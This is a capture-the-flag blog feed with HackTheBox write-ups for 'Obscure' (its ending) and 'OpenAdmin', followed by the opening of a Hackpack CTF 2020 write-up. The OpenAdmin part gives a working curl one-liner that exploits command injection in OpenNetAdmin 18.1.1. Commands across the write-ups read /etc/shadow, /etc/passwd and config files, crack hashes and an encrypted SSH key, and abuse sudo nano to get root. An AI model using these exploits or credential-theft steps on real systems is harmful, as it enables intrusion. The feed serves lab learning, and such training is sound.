<span class="nb">print</span><span class="p">(</span><span class="s1">'Output: '</span> <span class="o">+</span> <span class="n">o</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">'ascii'</span><span class="p">))</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Error: '</span> <span class="o">+</span> <span class="n">e</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">'ascii'</span><span class="p">))</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">e</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">'ascii'</span><span class="p">))</span> <span class="o">></span> <span class="mi">0</span> <span class="k">else</span> <span class="nb">print</span><span class="p">(</span><span class="s1">''</span><span class="p">)</span>
</code></pre></div>
<p>We reproduce the step locally. The script is copying the password hashes from
<code>/etc/shadow</code> into a random temporary file in <code>/tmp/SSH/</code> then it does "things"
with the file but we don't care. We just need to get the content of the file at
its creation. We run a infinite loop display the content of every file in the
folder and then exit on a success. At the same time we run the <code>BetterSSH.py</code>
script with the <code>sudo</code> permission. This allow us to get the <code>root</code> password
hash.</p>
<div class="highlight"><pre><span></span><code>robert@obscure:~/BetterSSH$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: root
Enter password: lol
Incorrect pass
robert@obscure:/tmp/SSH$ while true; do cat ./* 2>/dev/null&&exit done
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7
robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7
logout
Connection to 10.10.10.168 closed.
</code></pre></div>
<p>We load the hash in <code>john</code> with the rockyou dictionary and crack the root password.</p>
<div class="highlight"><pre><span></span><code>john hash -w=~/tools/password_lists/rockyou.txt
mercedes
</code></pre></div>
<p>Then with our SSH account as robert we just <code>su</code> and use the root password to
get the root flag.</p>
<div class="highlight"><pre><span></span><code>robert@obscure:~/BetterSSH$ su
Password:
root@obscure:/home/robert/BetterSSH# cat /root/root.txt
512fd4429f33a113a44d5acde23609e3
</code></pre></div>
<h1>Wrapping up</h1>
<p>This box is a lot of python. And this is quit straight forward once you get the
<code>SuperSecureServer.py</code> file.</p>HTB: OpenAdmin2020-05-04T14:09:00+02:002020-05-04T14:09:00+02:00maggicktag:maggick.fr,2020-05-04:/2020/05/htb-openadmin.html<p><img alt="OpenAdmin card" class="align-left" src="/media/2020.05/openadmin_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/222">OpenAdmin</a> created by
<a href="https://www.hackthebox.com/home/users/profile/82600">dmw0ng</a> and publish on
January 4, 2020.
This box is classified as an easy machine. The user part is longer than the root
part and involve to find a vulnerable component, exploit it to get a shell,
found the creds of an user able to connect using SSH then found another
webservice to get the private SSH key of a second user.
The root part is simply exploiting a sudo permission on <code>nano</code> to execute command.</p>
<p><img alt="OpenAdmin card" class="align-left" src="/media/2020.05/openadmin_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/222">OpenAdmin</a> created by
<a href="https://www.hackthebox.com/home/users/profile/82600">dmw0ng</a> and publish on
January 4, 2020.
This box is classified as an easy machine. The user part is longer than the root
part and involve to find a vulnerable component, exploit it to get a shell,
found the creds of an user able to connect using SSH then found another
webservice to get the private SSH key of a second user.
The root part is simply exploiting a sudo permission on <code>nano</code> to execute command.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>We start with an nmap scan. Only the ports 22 (SSH) and 80 (HTTP) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Tue Jan 7 03:51:25 2020 as: nmap -sS -p- -oA 10.10.10.171 10.10.10.171
Nmap scan report for 10.10.10.171
Host is up (0.27s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Tue Jan 7 04:23:21 2020 -- 1 IP address (1 host up) scanned in 1915.49 seconds
</code></pre></div>
<h2>Web</h2>
<p>The landing page is the default Apache page.</p>
<p><img alt="apache default page" class="image-process-article-image" src="/media/2020.05/derivatives/article-image/openadmin_1.png"/></p>
<p>We run a dirb against it.</p>
<div class="highlight"><pre><span></span><code>dirb http://10.10.10.171
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue Jan 7 04:29:49 2020
URL_BASE: http://10.10.10.171/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.171/ ----
==> DIRECTORY: http://10.10.10.171/artwork/
+ http://10.10.10.171/index.html (CODE:200|SIZE:10918)
==> DIRECTORY: http://10.10.10.171/music/
+ http://10.10.10.171/server-status (CODE:403|SIZE:277)
</code></pre></div>
<p>The artwork directory is a rabbit hole (there is no dynamic code even for the
contact page) but it was found first by dirb.</p>
<p><img alt="Artwork page" class="image-process-article-image" src="/media/2020.05/derivatives/article-image/openadmin_2.png"/></p>
<p>The music directory offer a login page which redirect us to the ona webpage.</p>
<p><img alt="Music page" class="image-process-article-image" src="/media/2020.05/derivatives/article-image/openadmin_3.png"/></p>
<p><img alt="Music page" class="image-process-article-image" src="/media/2020.05/derivatives/article-image/openadmin_4.png"/></p>
<h2>OpenAdmin</h2>
<p>We can see on the ona (opennetadmin) that the version is the 18.1.1 which is not
the latest. Using searchsploit we found a exploit for this specific version.</p>
<div class="highlight"><pre><span></span><code>searchsploit opennetadmin
------------------------ ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------ ----------------------------------------
OpenNetAdmin 13.03.01 - | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - R | exploits/php/webapps/47691.sh
------------------------ ------------------------------------
</code></pre></div>
<p>The script was not working out of the box for me so I "rewrote" it (it is a
oneliner in bash).</p>
<div class="highlight"><pre><span></span><code><span class="nv">CMD</span><span class="o">=</span><span class="s2">"</span><span class="si">${</span><span class="nv">1</span><span class="si">}</span><span class="s2">"</span>
curl<span class="w"> </span>--silent<span class="w"> </span>-d<span class="w"> </span><span class="s2">"xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";</span><span class="si">${</span><span class="nv">CMD</span><span class="si">}</span><span class="s2">;echo \"END\"&xajaxargs[]=ping"</span><span class="w"> </span><span class="s2">"http://10.10.10.171/ona/"</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>sed<span class="w"> </span>-n<span class="w"> </span>-e<span class="w"> </span><span class="s1">'/BEGIN/,/END/ p'</span>
</code></pre></div>
<p>We start enumerating the box as <code>www-data</code>.</p>
<div class="highlight"><pre><span></span><code>sh ona_rce.sh 'whoami'
<pre style="padding: 4px;font-family: monospace;">BEGIN
www-data
END
sh ona_rce.sh 'ls -al'
<pre style="padding: 4px;font-family: monospace;">BEGIN
total 72
drwxrwxr-x 10 www-data www-data 4096 Jan 7 14:41 .
drwxr-x--- 7 www-data www-data 4096 Nov 21 18:23 ..
-rw-rw-r-- 1 www-data www-data 1970 Jan 3 2018 .htaccess.example
drwxrwxr-x 2 www-data www-data 4096 Jan 3 2018 config
-rw-rw-r-- 1 www-data www-data 1949 Jan 3 2018 config_dnld.php
-rw-rw-r-- 1 www-data www-data 4160 Jan 3 2018 dcm.php
drwxrwxr-x 3 www-data www-data 4096 Jan 3 2018 images
drwxrwxr-x 9 www-data www-data 4096 Jan 3 2018 include
-rw-rw-r-- 1 www-data www-data 1999 Jan 3 2018 index.php
drwxrwxr-x 5 www-data www-data 4096 Jan 3 2018 local
-rw-rw-r-- 1 www-data www-data 4526 Jan 3 2018 login.php
-rw-rw-r-- 1 www-data www-data 1106 Jan 3 2018 logout.php
drwxrwxr-x 3 www-data www-data 4096 Jan 3 2018 modules
drwxrwxr-x 3 www-data www-data 4096 Jan 3 2018 plugins
drwxrwxr-x 2 www-data www-data 4096 Jan 3 2018 winc
drwxrwxr-x 3 www-data www-data 4096 Jan 3 2018 workspace_plugins
</pre></pre></code></pre></div>
<p>We notice that the file are from January 2018. So we just filter on file older
that 30 days. That allow us to find a configuration file for the database
containing a password.</p>
<div class="highlight"><pre><span></span><code>sh ona_rce.sh 'find ../../ -mtime -30 2>/dev/null | grep -Ev "^/proc"'
<pre style="padding: 4px;font-family: monospace;">BEGIN
../../
../../priv.save
../../ona/www
sh ona_rce.sh 'cat ../../ona/www/local/config/database_settings.inc.php'
<pre style="padding: 4px;font-family: monospace;">BEGIN
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
?>END
</pre></pre></code></pre></div>
<p>We want to try this password against SSH users but we don't know them. We can
just cat <code>/etc/passwd</code> to get a list of the system's user.</p>
<div class="highlight"><pre><span></span><code>sh ona_rce.sh 'cat /etc/passwd'
<pre style="padding: 4px;font-family: monospace;">BEGIN
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash
</pre></code></pre></div>
<p>I tried to logged as <code>joanna</code> first but the password was <code>jimmy</code>'s.</p>
<div class="highlight"><pre><span></span><code>ssh jimmy@10.10.10.171
jimmy@openadmin:~$ id
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)
</code></pre></div>
<h2>Internal</h2>
<p>We notice that we are part of the <code>internal</code> group. Therefore we look for files
belonging to this specific group and found some "internal" directory containing
three PHP script.</p>
<div class="highlight"><pre><span></span><code>jimmy@openadmin:~$ find / -group internal 2> /dev/null
/var/www/internal
/var/www/internal/main.php
/var/www/internal/logout.php
/var/www/internal/index.php
</code></pre></div>
<p>main.php:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span> <span class="nb">session_start</span><span class="p">();</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">isset</span> <span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'username'</span><span class="p">]))</span> <span class="p">{</span> <span class="nb">header</span><span class="p">(</span><span class="s2">"Location: /index.php"</span><span class="p">);</span> <span class="p">};</span>
<span class="c1"># Open Admin Trusted</span>
<span class="c1"># OpenAdmin</span>
<span class="nv">$output</span> <span class="o">=</span> <span class="nb">shell_exec</span><span class="p">(</span><span class="s1">'cat /home/joanna/.ssh/id_rsa'</span><span class="p">);</span>
<span class="k">echo</span> <span class="s2">"<pre></pre></span><span class="si">$output</span><span class="s2"></span></span></code></pre>"<span class="p">;</span>
<span class="cp">?></span>
<span class="x"><html></html></span>
<span class="x"><h3>Don't forget your "ninja" password</h3></span>
<span class="x">Click here to logout <a href="logout.php" tite="Logout">Session</a></span>
<span class="x"></span>
</div>
<p>index.php</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="nb">ob_start</span><span class="p">();</span>
<span class="nb">session_start</span><span class="p">();</span>
<span class="cp">?></span>
<span class="cp"><?</span>
<span class="c1">// error_reporting(E_ALL);</span>
<span class="c1">// ini_set("display_errors", 1);</span>
<span class="cp">?></span>
<span class="x"><html lang="en"></html></span>
<span class="x"> <head></head></span>
<span class="x"> <title>Tutorialspoint.com</title></span>
<span class="x"> <link href="css/bootstrap.min.css" rel="stylesheet"/></span>
<span class="x"><snip></snip></span>
<span class="x"> </span>
<span class="x"> <body></body></span>
<span class="x"> <h2>Enter Username and Password</h2></span>
<span class="x"> <div class="container form-signin"></div></span>
<span class="x"> <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2></span>
<span class="x"> </span><span class="cp"><?php</span>
<span class="nv">$msg</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'login'</span><span class="p">])</span> <span class="o">&&</span> <span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'username'</span><span class="p">])</span> <span class="o">&&</span> <span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'password'</span><span class="p">]))</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'username'</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'jimmy'</span> <span class="o">&&</span> <span class="nb">hash</span><span class="p">(</span><span class="s1">'sha512'</span><span class="p">,</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'password'</span><span class="p">])</span> <span class="o">==</span> <span class="s1">'00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1'</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'username'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'jimmy'</span><span class="p">;</span>
<span class="nb">header</span><span class="p">(</span><span class="s2">"Location: /main.php"</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nv">$msg</span> <span class="o">=</span> <span class="s1">'Wrong username or password.'</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cp">?></span>
<span class="x"> </span></span></span></span></code></pre></div> <!-- /container -->
<span class="x"> <div class="container"></div></span>
<span class="x"> <form <="" class="form-signin" role="form" span="">
<span class="x"> action = "</span><span class="cp"><?php</span> <span class="k">echo</span> <span class="nb">htmlspecialchars</span><span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'PHP_SELF'</span><span class="p">]);</span>
<span class="cp">?></span><span class="x">" method = "post"></span>
<span class="x"> <h4 class="form-signin-heading"></h4></span><span class="cp"><?php</span> <span class="k">echo</span> <span class="nv">$msg</span><span class="p">;</span> <span class="cp">?></span><span class="x"></span>
<span class="x"> <input <="" class="form-control" span="" type="text"/>
<span class="x"> name = "username"</span>
<span class="x"> required autofocus></span>
<span class="x"> <input <="" class="form-control" span="" type="password"/>
<span class="x"> name = "password" required></span>
<span class="x"> <button <="" class="btn btn-lg btn-primary btn-block" span="" type="submit">
<span class="x"> name = "login">Login</span></button></span>
<span class="x"> </span></span></span></span></span></form></span>
<span class="x"> </span>
<span class="x"> </span>
<span class="x"></span>
<p>We can see that the <code>main.php</code> script just print <code>joanna</code>'s private SSH key. And
the script is only checking if the <code>username</code> parameter is set. But we are
unable to access the site. We check the Apache configuration to see that the
port is <code>52846</code>.</p>
<div class="highlight"><pre><span></span><code>cat /etc/apache2/sites-enabled/internal.conf
Listen 127.0.0.1:52846
<virtualhost 127.0.0.1:52846="">
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<ifmodule mpm_itk_module="">
AssignUserID joanna joanna
</ifmodule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</virtualhost>
</code></pre></div>
<p>We rewrote <code>main.php</code> in order to suppress the parameter check:</p>
<div class="highlight"><pre><span></span><code>jimmy@openadmin:/var/www/internal$ cat main.php
<?php
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</code></pre>";
?>
</div>
<p>And we call the page and get <code>joanna's</code> private SSH key.</p>
<div class="highlight"><pre><span></span><code>jimmy@openadmin:/var/www/internal$ curl 127.0.0.1:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre></code></pre></div>
<p>We see that the key is password protected (second line of the key) so we use
<code>ssh2john</code> to convert the key to a crackable hash. Then we run john on it using
the rockyou wordlist. We crack the <code>bloodninjas</code> password.</p>
<div class="highlight"><pre><span></span><code>$ python2 /usr/bin/ssh2john id_rsa > id_rsa.hash
$ john id_rsa.hash -w=tools/password_lists/rockyou.txt
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (id_rsa)
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:04 DONE (2020-01-07 15:25) 0.2087g/s 2994Kp/s 2994Kc/s 2994KC/s *7¡Vamos!
Session completed
</code></pre></div>
<p>We connect as <code>joanna</code> using SSH.</p>
<div class="highlight"><pre><span></span><code>ssh joanna@10.10.10.171 -i /tmp/id_rsa
Enter passphrase for key '/tmp/id_rsa':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
<snip>
joanna@openadmin:~$ ls
user.txt
joanna@openadmin:~$ cat user.txt
c9b2cf07d40807e62af62660f0c81b5f
</snip></code></pre></div>
<h1>Getting root</h1>
<p>We start enumerating the box and found that we have the <code>sudo</code> right without
password on <code>/bin/nano /op/priv/</code>.</p>
<div class="highlight"><pre><span></span><code>joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
</code></pre></div>
<p>A quick look at <a href="https://gtfobins.github.io/gtfobins/nano/">GTFObins</a> show us
that we can execute commands in nano with <^R^X>. We just run <code>id</code> and <code>cat
/root/root.txt</code>.</p>
<div class="highlight"><pre><span></span><code>GNU nano 2.9.3
uid=0(root) gid=0(root) groups=0(root)
2f907ed450b361b2c2bf4e8795d5b561
</code></pre></div>
<h1>Wrapping up</h1>
<p>This was a really easy box with almost no rabbit hole. I will recommend this box
for the beginner until it retires (of course this article will be publish after
its retirement).</p>Hackpack CTF 20202020-04-28T08:50:00+02:002020-04-28T08:50:00+02:00maggicktag:maggick.fr,2020-04-28:/2020/04/hackpack-ctf-2020.html<p><img alt="Hackpack CTF logo" class="align-left" src="/media/2020.04/hackpack_logo.png" width="262"/></p>
<p>This weekend I participate to the Hackpack CTF with the team <code>hackers for the jilted generation</code>
(mostly me this time). We finished 126th with 811 points.
Here are some writeup about the challenges.</p>
<p><img alt="Hackpack CTF logo" class="align-left" src="/media/2020.04/hackpack_logo.png" width="262"/></p>
<p>This weekend I participate to the Hackpack CTF with the team <code>hackers for the jilted generation</code>
(mostly me this time). We finished 126th with 811 points.
Here are some writeup about the challenges.</p>
<h1>Web</h1>
<h2>Treasure Map</h2>
<blockquote>
<p>Hmm, do pirates really think they can hide a treasure without us knowing? Find the treasure and prove they are wrong. Check here: treasure-map.cha.hackpack.club</p>
</blockquote>
<p>The webpage contain the following:</p>
<div class="highlight"><pre><span></span><code>Treasure of the Pirates!
It should in some of this (or hidden) island!
Hint: you need a map of this place to find it!
Island #0
Island #1
<snip>
Island #9998
Island #9999
</snip></code></pre></div>
<p>We are looking for the map. We check <code>robots.txt</code>: it contains: <code>Sitemap: /treasuremap.xml</code></p>
<p>The file <code>/treasuremap.xml</code> contain the location of the "treasure":</p>
<div class="highlight"><pre><span></span><code><span class="p"><</span><span class="nt">urlset</span><span class="p">></span>
<span class="p"><</span><span class="nt">url</span><span class="p">></span>
<span class="p"><</span><span class="nt">loc</span><span class="p">></span>7BmqJfhWhEa30NeVj7j2.html<span class="p"><!--</span--><span class="nt">loc</span><span class="p">></span>
<span class="p"><</span><span class="nt">lastmod</span><span class="p">></span>2005-01-01<span class="p"><!--</span--><span class="nt">lastmod</span><span class="p">></span>
<span class="p"><</span><span class="nt">changefreq</span><span class="p">></span>monthly<span class="p"><!--</span--><span class="nt">changefreq</span><span class="p">></span>
<span class="p"><</span><span class="nt">priority</span><span class="p">></span>0.8<span class="p"><!--</span--><span class="nt">priority</span><span class="p">></span>
<span class="p"><!--</span--><span class="nt">url</span><span class="p">></span>
<span class="p"><!--</span--><span class="nt">urlset</span><span class="p">></span>
</span></span></span></span></span></span></code></pre></div>
<p>And the "treasure" contain the flag: <code>flag{tr3asur3_hunt1ng_fUn}</code></p>
<h2>Super Secret Flag Vault</h2>
<blockquote>
<p>See if you can get into the super secret flag vault! I have used the latest and greatest techniques with php to make sure you cant get past my vault.</p>
</blockquote>
<p>The <code>index.php</code> file is available:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="c1">// this is how I store hashes right?</span>
<span class="nv">$hash</span> <span class="o">=</span> <span class="s2">"0e770334890835629000008642775106"</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="nb">array_key_exists</span><span class="p">(</span><span class="s2">"combination"</span><span class="p">,</span><span class="nv">$_REQUEST</span><span class="p">)</span> <span class="o">&&</span> <span class="nv">$_REQUEST</span><span class="p">[</span><span class="s2">"combination"</span><span class="p">]</span> <span class="o">!==</span> <span class="s1">''</span><span class="p">){</span>
<span class="c1">//Isn't it great that == works in every language?</span>
<span class="k">if</span><span class="p">(</span><span class="nb">array_key_exists</span><span class="p">(</span><span class="s2">"debug"</span><span class="p">,</span> <span class="nv">$_REQUEST</span><span class="p">)){</span>
<span class="k">echo</span> <span class="s2">"<br/> "</span><span class="o">.</span> <span class="nb">md5</span><span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s2">"combination"</span><span class="p">]);</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nb">md5</span><span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s2">"combination"</span><span class="p">])</span> <span class="o">==</span> <span class="nv">$hash</span><span class="p">){</span>
<span class="k">echo</span> <span class="s2">"<br/> The Flag is flag{...}<br/>"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span><span class="p">{</span>
<span class="k">echo</span> <span class="s2">"<br/>Wrong!<br/>"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cp">?></span>
</span></code></pre></div>
<p>The value of hash is just a number using scientific notation. This is a <a href="https://www.php.net/manual/en/language.operators.comparison.php">php loose
comparison</a>.
Using a input that will also be considered as a number will set the condition to true.
We use <code>240610708</code>, which md5 hash is <code>0e462097431906509019562988736854</code>, as a
password and we got the flag.</p>
<blockquote>
<p>The Flag is flag{!5_Ph9_5TronGly_7yPed?}</p>
</blockquote>
<h2>Paster</h2>
<blockquote>
<p>Come and BETA Test our new social networking site. Its like twitter but shorter
Go checkout Paster now</p>
</blockquote>
<p>The site looks like the following:</p>
<p><img alt="Paster" class="image-process-article-image" src="/media/2020.04/derivatives/article-image/hackpack_paster.png"/></p>
<p>When looking at the downloaded content we fount that the file
<code>frames/game-frame.js</code> is downloaded. It contains 248 311 characters as the
following:</p>
<div class="highlight"><pre><span></span><code>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+
(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+
[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])
[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[]
<snip>
</snip></code></pre></div>
<p>This is <a href="http://www.jsfuck.com/">JSfuck</a>. We use an
<a href="https://enkhee-osiris.github.io/Decoder-JSFuck/">online decoder</a> to decode it.
The output is some clear JavaScript.</p>
